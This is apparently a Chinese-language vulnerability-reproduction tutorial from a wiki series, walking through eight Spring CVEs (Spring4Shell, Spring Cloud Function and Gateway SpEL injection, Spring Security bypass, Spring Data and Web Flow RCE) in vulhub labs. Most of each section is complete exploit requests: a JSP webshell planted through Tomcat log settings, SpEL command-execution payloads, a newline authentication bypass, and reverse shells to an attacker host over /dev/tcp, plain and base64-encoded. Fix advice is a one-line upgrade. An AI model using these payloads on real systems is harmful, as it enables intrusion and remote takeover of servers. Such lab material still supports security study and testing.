漏洞复现
01-环境搭建
02-Tomcat
03-Nginx
04-Apache
05-JBoss
06-WebLogic
07-Nacos
08-Struts2
09-Spring
10-Log4j2
11-Shiro
12-FastJson
13-RuoYi
14-ThinkPHP
-
+
09-Spring
浏览
2
# 一、Spring ## 概述  Spring 是开源的 Java 企业级应用开发框架,由 Rod Johnson 于 2003 年首次发布,目前由 Apache 软件基金会维护。其核心目标是简化 Java 开发,通过提供统一的架构和组件,解决企业级应用开发中的复杂性(如对象管理、事务控制、依赖耦合等问题)。 Spring 并非单一框架,而是一个生态系统的基础,衍生出 Spring Boot(快速开发)、Spring Cloud(微服务)、Spring Security(安全)等子项目,覆盖从单体应用到分布式系统的全场景开发需求。 目前,Spring 已成为 Java 开发的事实标准,90% 以上的 Java 企业级应用(如电商平台、金融系统、政务系统)均基于 Spring 构建。 ## 特点 1、控制反转(IoC,Inversion of Control):解耦的核心 - 定义:将对象的创建、依赖管理等控制权从业务代码转移到 Spring 容器(IoC 容器),而非由开发者手动new对象或维护依赖关系。 2、面向切面编程(AOP,Aspect-Oriented Programming):分离横切关注点 - 定义:将日志记录、事务控制、权限校验等 “横切关注点”(跨多个业务模块的通用功能)从业务逻辑中剥离,单独封装为 “切面”(Aspect),通过动态代理自动织入业务流程。 3、一站式框架:整合全场景开发需求 Spring 提供了覆盖 Java 开发全流程的组件,无需单独整合多个框架,降低技术栈复杂度: - 数据访问:通过 Spring JDBC 简化数据库操作,整合 MyBatis、Hibernate 等 ORM 框架; - Web 开发:Spring MVC 提供 RESTful 接口开发能力,替代传统 Servlet; - 安全控制:Spring Security 处理认证、授权、防攻击(如 CSRF、XSS); - 消息队列:整合 RabbitMQ、Kafka 等消息中间件; - 测试支持:Spring Test 简化单元测试和集成测试,支持 Mock 对象、事务回滚等。 4、声明式编程:简化配置与逻辑 Spring 推崇 “声明式编程” 而非 “命令式编程”,开发者只需声明 “做什么”,无需关心 “怎么做” 5、轻量级与可扩展性 - 轻量级:核心模块(spring-core、spring-beans)体积小(仅几百 KB),无强制依赖,可按需引入组件(如仅用 IoC 容器,或仅用 AOP),不臃肿。 6、事务管理:统一且灵活 - Spring 提供声明式事务和编程式事务两种方式,其中声明式事务(通过注解或 XML 配置)是主流 # 二、CVE-2022-22965 ## 漏洞描述 Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期。 2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。 > 漏洞利用条件与限制 必要条件: - 应用使用受影响版本的 Spring Framework; - JDK 版本≥9(依赖Module和ClassLoader的访问路径); - 控制器方法参数为 “非基本类型”(如User、Object,而非String、int); - 使用 Tomcat 作为 Servlet 容器(且以 WAR 包部署或使用内嵌 Tomcat)。 限制条件: - 若应用使用 Jetty、Undertow 等其他容器,无法利用(因无AccessLogValve组件); - 若控制器参数为基本类型(如@RequestParam String name),无法触发嵌套属性绑定; - JDK 8 及以下环境不受影响(无Module类)。 ## 影响范围 - Spring Framework:5.3.0 ~ 5.3.17、5.2.0 ~ 5.2.19 ## 漏洞原理 漏洞的核心是Spring MVC 参数绑定机制的缺陷,攻击者可通过构造恶意请求参数,篡改 Tomcat 的日志配置,最终写入恶意 JSP 文件实现代码执行。 整个攻击链分为 4 个关键步骤: > 1、Spring MVC 参数绑定的 “过度灵活” Spring MVC 的参数绑定功能允许将 HTTP 请求参数自动映射到控制器方法的参数对象(如 POJO)的属性,支持 “嵌套属性” 语法(通过.访问多层属性)。例如,请求参数user.name=test会被绑定到User对象的name属性。 漏洞点:当控制器方法的参数为 “非基本类型”(如自定义 POJO、Object类型)时,Spring MVC 会通过反射递归解析参数名中的.,尝试绑定到对象的所有可访问属性,包括其父类、接口的属性。 - 即使参数对象中没有某个属性,Spring 仍会尝试通过setter方法或字段注入,这为攻击者提供了修改 “非预期对象” 属性的可能。 > 2、利用class属性访问底层类对象 在 Java 中,任何对象都有getClass()方法,返回其对应的Class对象;Class对象又有getModule()方法(JDK 9 + 新增),返回Module对象;Module对象可进一步获取类加载器(ClassLoader)等关键资源。 攻击者通过参数绑定的嵌套语法,可构造如下参数路径: ```java class.module.classLoader.resources.context.parent.pipeline.first.xxx ``` - class:获取当前对象的Class实例; - module:通过Class.getModule()获取Module对象; - classLoader:通过Module.getClassLoader()获取类加载器; - resources.context.parent.pipeline.first:最终定位到 Tomcat 的AccessLogValve(日志阀门组件,负责处理访问日志)。 > 3、篡改 Tomcat 日志配置 AccessLogValve是 Tomcat 用于记录访问日志的组件,其核心可配置属性包括: - directory:日志文件存储目录(默认logs/); - prefix:日志文件名前缀(默认access_log); - suffix:日志文件名后缀(默认.txt); - pattern:日志格式(定义日志内容的格式,如包含请求 URL、IP 等)。 攻击者通过参数绑定修改这些属性: - 将directory改为 Tomcat 的webapps/ROOT目录(该目录下的 JSP 文件可直接被访问执行); - 将suffix改为.jsp(使日志文件成为可执行的 JSP 文件); - 将pattern设为恶意 JSP 代码(如<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>)。 > 4、触发日志写入,生成 Webshell 当攻击者发送构造的请求后,Tomcat 会按照修改后的配置记录访问日志: - 恶意 JSP 代码被写入webapps/ROOT/\[prefix][date].[suffix](如shell.jsp); - 访问该 JSP 文件并传入cmd参数(如shell.jsp?cmd=whoami),即可执行任意系统命令。 ```url GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.32.132:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 ``` ## 漏洞复现 进入靶场环境,启动容器  访问靶机环境  传入name和age: ```url http://192.168.1.4:8080/?name=maolin&age=18 ```  抓取数据包,将数据包更改为以下修改好的Poc: ```http GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22连接密码%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=文件名(前缀名称)&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 靶机IP地址:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 ``` ```http GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=maolin&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.1.4:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 ```  访问创建的文件: ```url http://192.168.1.4:8080/maolin.jsp?pwd=j&cmd=id ```    ## 修复建议 - 升级版本 # 三、CVE-2022-22963 ## 漏洞描述 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。 spring.cloud.function.routing-expression 是 Spring Cloud Function 框架中的一个配置项(或请求头参数),用于动态路由函数调用。 其设计初衷是:根据运行时的条件(如请求参数、系统状态),通过 SpEL 表达式动态决定调用哪个函数处理请求,实现 “按需执行函数” 的灵活逻辑。 正常的路由表达式可能是: ```txt spring.cloud.function.routing-expression: "#input.startsWith('hello') ? 'helloFunction' : 'defaultFunction'" ``` 如果请求输入以 “hello” 开头,就调用名为helloFunction的函数;否则调用defaultFunction。 > 依赖环境 依赖环境:使用了 Spring Cloud Function 的 “函数路由” 功能(通过spring.cloud.function.routing-expression参数动态路由函数)。 > SpEL表达式 SpEL(Spring Expression Language,Spring 表达式语言)是 Spring 框架内置的表达式语言,用于在运行时查询和操作对象图,支持复杂的逻辑运算、属性访问、方法调用等。 SpEL 的核心是 “在 Spring 容器中动态求值”,解决传统硬编码无法满足的动态逻辑需求,例如: - 在 Spring 配置中动态获取 Bean 的属性(如@Value("#{systemProperties['user.name']}")); - 在 Spring Security 中定义复杂的权限规则(如@PreAuthorize("#user.id == authentication.principal.id")); - 在 Spring Cloud 中动态路由函数(如 CVE-2022-22963 涉及的路由表达式)。 | 操作 | 语法示例 | 描述 | | ------------ | ------------------------------ | ------------------------------------------------------------ | | 表达式模板 | "Hello, #{user.name}!" | 混合文本与表达式(#{}内为 SpEL 表达式,其余为普通文本,常用于@Value注解)。 | | 静态方法调用 | T(java.lang.Math).max(10, 20) | 调用类的静态方法,需用T(全类名)指定类(T是 Type 的缩写)。 | | 静态属性访问 | T(java.lang.Integer).MAX_VALUE | 访问类的静态属性(如Integer的最大值)。 | ## 影响范围 - 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 ## 漏洞原理 Spring Cloud Function 是 Spring 生态中用于开发 Serverless 函数的框架,支持通过函数路由动态调用不同的函数(如根据请求参数决定执行哪个函数逻辑)。 其核心风险点在于对 “路由表达式” 的处理逻辑: - 路由表达式的动态解析:框架允许通过请求头(如spring.cloud.function.routing-expression)或配置参数指定 SpEL 表达式作为路由规则,例如: ```txt spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id") # T(java.lang.Runtime):获取Runtime类(SpEL 语法) ``` - SpEL 表达式的执行能力:SpEL 支持调用 Java 类的静态方法(如T(java.lang.Runtime).exec(...)),若攻击者控制了表达式内容,可直接构造执行系统命令的表达式。 漏洞利用链: - 攻击者向目标应用发送 HTTP 请求,在请求头中注入恶意 SpEL 表达式; - 框架将请求头中的表达式作为路由规则解析执行; - 恶意表达式被执行,触发远程代码执行。 ## 漏洞复现 进入靶场环境,启动容器  访问靶机  抓取数据包,修改请求方法、添加请求头 ```http POST /functionRouter HTTP/1.1 Host: 192.168.1.4:8080 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng-101.webp,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/maolin") Content-Type: text/plain Content-Length: 3 123 ```  在容器查看是否被创建成功:  ## 修复建议 - 升级版本 # 四、CVE-2022-22978 ## 漏洞描述 Spring-security RegexRequestMatcher 认证绕过漏洞,当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含“.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证。 存在漏洞代码块:  在匹配的时候只要输入url 为:/admin/111\n 即可绕过url限制,因为和/admin/.不匹配,因此绕过了鉴权。 ## 影响范围 - Spring Security 5.5.x < 5.5.7 - Spring Security 5.6.x < 5.6.4 ## 漏洞复现 进入靶场,启动环境: ```txt root@ubuntu:~/vulhub/spring# cd CVE-2022-22978/ root@ubuntu:~/vulhub/spring/CVE-2022-22978# docker compose up -d ``` 访问/admin/123,会显示没有相关权限。  使用/admin/1%0d%0a,成功绕过登陆认证。  \r的URl编码为%0d,\n的URL编码为%0a ## 修复建议 - 升级版本 # 五、CVE-2016-4977 ## 漏洞描述 Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。 Spring Security OAuth 是 Spring 生态的 OAuth2 认证授权组件,该漏洞属于 SpEL(Spring 表达式语言)注入漏洞。 当组件使用默认 whitelabel 视图处理授权异常时,会将请求参数 response_type 的值直接作为 SpEL 表达式解析并渲染到错误页面。 攻击者构造携带恶意 SpEL 表达式的 response_type 参数,触发授权流程异常进入错误页面,表达式随之被服务端解析执行,最终可实现远程代码执行(RCE)。 漏洞触发需要访问授权接口,通常需要具备一个合法的系统用户权限(如测试环境默认账号)。 SpEL(Spring Expression Language,Spring 表达式语言) 是 Spring 框架自带的一套表达式执行引擎,定位类似 Struts2 的 OGNL,允许程序在运行时动态计算表达式、读写对象属性、调用 Java 类方法,是 Spring 生态用于动态配置、数据渲染的核心能力。 ## 影响范围 - Spring Security OAuth 2.0.0 ~ 2.0.9 - Spring Security OAuth 1.0.0 ~ 1.0.5 ## 漏洞复现 进入靶场,启动容器: ```txt root@ubuntu:~/vulhub/spring# cd CVE-2016-4977/ root@ubuntu:~/vulhub/spring/CVE-2016-4977# docker compose up -d ``` 探测是否存在漏洞: ```txt http://目标地址/oauth/authorize?response_type=${22}&client_id=acme&scope=openid&redirect_uri=http://test ``` ```txt http://192.168.124.130:8080/oauth/authorize?response_type=${22}&client_id=acme&scope=openid&redirect_uri=http://test ``` 默认口令为admin/admin  说明 SpEL 表达式被成功执行,漏洞存在。 使用Poc.py生成反弹shell ```txt bash -i >& /dev/tcp/192.168.124.128/8889 0>&1 bash -i >& /dev/tcp/192.168.124.128/8889 0>&1 ``` bash -i:启动一个交互式 bash shell \>& /dev/tcp/192.168.124.128/8889 - /dev/tcp/ip/port:bash 内置特殊设备文件,建立 TCP 连接到攻击机 IP 端口 - >&:标准输出 + 标准错误,全部重定向到这个 TCP 套接字(目标输出传给攻击机) 0>&1:标准输入重定向到标准输出,也就是攻击机输入的命令传给目标 bash 执行。 将原始命令进行 base64 编码 ```txt YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC4xMjIvODg4OSAwPiYx ``` 在目标执行解码执行 ```txt bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC4xMjgvODg4OSAwPiYx}|{base64,-d}|{bash,-i} ``` 使用自带的poc.py对payload进行编码:  将编码好的payload加载到注入点,同时本地启动监听   ## 修复建议 - 版本升级 - 禁用默认试图 - 网络隔离 # 六、CVE-2022-22947 ## 漏洞描述 2022年3月1日,VMware官方发布漏洞报告,在使用Spring Cloud Gateway的应用程序开启、暴露Gateway Actuator端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。 ## 影响范围 - Spring Cloud Gateway 3.1.x < 3.1.1 - Spring Cloud Gateway 3.0.x < 3.0.7 ## 漏洞复现 ```txt root@ubuntu:~/vulhub/spring# cd CVE-2022-22947/ root@ubuntu:~/vulhub/spring/CVE-2022-22947# docker compose up -d ```  构造包含恶意请求的路由: ```php POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.124.130:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}" } }], "uri": "http://example.com" } ```  触发表达式执行: ```url POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.124.130:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ```  查看结果: ```url GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.124.130:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ```  删除所添加的路径: ```url DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.124.130:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close ```  刷新路由: ```url POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.124.130:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ```  ## 修复建议 - 3.1.x版本用户及时升级到3.1.1+ - 3.0.x版本用户及时升级到3.0.7+ # 七、CVE-2017-8046 ## 漏洞描述 Spring Data REST,Spring 生态中用于自动生成 RESTful API 的组件,可快速将数据库实体暴露为 HTTP 接口。 Spring Data REST 在处理 PATCH 方法的 JSON Patch 请求时,对请求体中 path 字段的内容校验不严格,会将其作为 SpEL 表达式进行解析执行。 攻击者构造包含恶意 SpEL 表达式的 path 参数,无需身份认证即可触发表达式运行,实现服务器远程代码执行。 请求包特征:必须使用 PATCH 请求方法,Content-Type 为 application/json-patch+json,payload 位于请求体的 path 字段中。 ## 影响范围 - Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3 - Spring Boot version < 2.0.0M4 - Spring Data release trains < Kay-RC3 ## 漏洞原理 JSON Patch 是 RESTful 接口用于局部修改资源的标准格式,通过 op(操作类型)、path(修改路径)、value(修改值)三个字段描述修改动作。 Spring Data REST 在解析 path 路径时,错误地将路径内容传入 SpEL 引擎进行解析; 攻击者可以在路径前缀注入完整的 SpEL 表达式,利用 SpEL 的反射能力调用 Runtime 类执行系统命令,路径末尾的真实字段名仅用于绕过格式校验,不影响表达式执行。 ## 漏洞复现 进入靶场,启动容器: ```txt root@ubuntu:~/vulhub/spring# cd CVE-2017-8046/ root@ubuntu:~/vulhub/spring/CCVE-2017-8046# docker compose up -d ``` 直接访问目标    修改数据包,使用PATCH请求来发送 ```txt PATCH /customers/1 HTTP/1.1 Host: 192.168.124.130:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json-patch+json Content-Length: 202 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }] ``` 其中116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115 转换为ASCII是 touch /tmp/success   ## 修复建议 - 升级版本 # 八、CVE-2018-1273 ## 漏洞描述 SpEL 表达式注入 / 远程代码执行(RCE) Spring Data Commons 在处理表单参数的属性绑定时(如 username[xxx] 这种带方括号的参数名格式),会将方括号内的内容直接作为 SpEL 表达式解析执行 攻击者可构造恶意参数名,注入 SpEL 表达式,无需身份认证即可触发远程代码执行 注入点特点:注入点在请求参数的参数名(key)中,而非参数值,由属性绑定器的解析缺陷导致 Spring Data Commons,Spring Data 生态的基础核心框架,为所有 Spring Data 子项目提供通用的数据绑定、查询等基础能力 所有不再维护的更旧版本均受影响 ## 影响范围 - Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10) - Spring Data REST 2.6 – 2.6.10 (Ingalls SR10) - Spring Data Commons 2.0 to 2.0.5 (Kay SR5) - Spring Data REST 3.0 – 3.0.5 (Kay SR5) ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~# cd vulhub/spring/CVE-2018-1273 root@ubuntu:~/vulhub/spring/CVE-2018-1273# docker compose up -d ```  目录扫描后,发现存在users路径  进行注册用户抓取数据包:  构造恶意payload: ```url POST /users?page=&size=5 HTTP/1.1 Host: 192.168.124.130:8080 Content-Length: 136 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Origin: http://192.168.124.130:8080 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.124.130:8080/users Accept-Encoding: gzip, deflate, br Connection: keep-alive username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=test&password=test&repeatedPassword=test ```   Poc分析: ```java #this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")] //核心作用是:通过Java反射机制加载命令执行类,在目标服务器上执行系统命令 touch /tmp/success,是SpEL注入漏洞中最经典的无回显验证 payload: java.lang.Runtime是Java原生提供的、用于执行操作系统命令的核心类 getRuntime()是 获取全局唯一的 Runtime 实例 exec("touch /tmp/success")为在目标服务器的操作系统层面执行传入的命令字符串 ``` ## 修复建议 - 升级版本 # 九、CVE-2017-4971 ## 漏洞描述 CVE-2017-4971,SpEL 表达式注入 / 远程代码执行(RCE) Spring Web Flow,Spring 生态中用于开发流程化业务的框架(如酒店预订、购物结账、多步表单等线性流程场景),用于分离流程定义与业务逻辑 Spring Web Flow 在处理视图状态的表单提交、执行数据绑定时,若业务代码未显式配置绑定字段白名单,且使用默认的 useSpringBinding=false 配置,攻击者可构造恶意请求参数名(字段名)注入 SpEL 表达式。 框架会将恶意字段名当作表达式解析执行,最终无需管理员权限即可实现远程代码执行。 注入点位于 POST 请求的参数名(key)中,利用数据绑定的字段解析缺陷触发表达式执行。 ## 影响范围 - Spring Web Flow 2.4.0 – 2.4.4 ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub/spring# cd CVE-2017-4971 root@ubuntu:~/vulhub/spring/CVE-2017-4971# docker compose up -d ```  使用准备好的账号进行登录  查询酒店   查看任意酒店  订阅酒店  填写信息,点击Proceed  点击confirm时,抓取数据包  将数据包发送到repeater模块中  添加Poc,同时进行本地监听 ```txt &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub ``` ```txt &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.124.133/8889+0>%261")).start()=vulhub ```   ## 修复建议 - 2.4.x版本升级到2.4.5版本以及更高版本
毛林
2026年11月15日 18:41
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~